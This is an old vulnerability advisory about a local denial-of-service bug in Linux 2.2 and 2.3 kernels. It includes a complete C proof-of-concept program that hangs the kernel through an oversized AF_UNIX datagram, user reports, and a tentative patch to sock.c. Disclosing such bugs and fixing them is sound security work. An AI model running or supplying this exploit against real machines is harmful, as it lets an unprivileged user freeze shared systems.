COMMAND
kernel
SYSTEMS AFFECTED
Linux
PROBLEM
Jay Fenlason found following. This amusing little program will
hang Linux 2.2.12 (default Red Hat 6.1), 2.2.14 (latest stable
kernel) and 2.3.99-pre2 (latest development kernel) on 6x86
machine and various Pentium development machines. Note that this
does not require any special privileges.
The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large forever (or until you hit the
reset button).
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
}
One additional report says that on Redhat 6.1 box with the 2.2.14
kernel as non root and it worked. You can ping the box but
telnet hung.
Gigi Sullivan tried on 2.2.14 kernel, Debian 2.1 slink. Like said
before it has no effect (except some kmalloc messages), but if
you leave it run and try to switch to another virtual console,
the only thing to do is reboot, the system will freeze. Reboot
is the solution.
This works also on Corel Linux 1.0 with Kernel 2.2.12. The only
way to stop the program is the reset button.
Gigi Sullivan enclosed a very easy little kernel patch that should
fix this problem. This is a temporary fix, tho:
--- sock.c.orig Mon Mar 27 08:43:41 2000
+++ sock.c Mon Mar 27 08:52:16 2000
@@ -79,6 +79,10 @@
* Jay Schulist : Added SO_ATTACH_FILTER and SO_DETACH_FILTER.
* Andi Kleen : Add sock_kmalloc()/sock_kfree_s()
* Andi Kleen : Fix write_space callback
+ * Lorenzo `Gigi Sullivan' Cavallaro: Temporary Fix to local DoS due to
+ * too big buffer (AF_UNIX SOCK_DGRAM).
+ * Maybe this will broke something else.
+ * I apologize.
*
* To Fix:
*
@@ -566,6 +570,18 @@
skb->sk = sk;
return skb;
}
+
+ /*
+ * kmalloc (mm/slab.c) checks the size to allocate through a
+ * `cache size struct'.
+ * If we try to allocate much more then the maximum, just report it
+ * backwardly.
+ * XXX Will this broke something, like sock_wait_for_wmem()
+ * defined in net/core/sock.c ?
+ * Is this the right way ?
+ */
+
+ sk->err = EMSGSIZE;
}
return NULL;
}
SOLUTION
Apparently unix domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter, despite the documentation
to the contrary. One report says that on 2.2.14 kernel (from
default Mandrake distro on lusers' workstation), it has no effect,
except some kmalloc messages. No crash, program can be aborted
with Ctrl+C. On working, heavily-loaded 2.0.38 server, it does
nothing.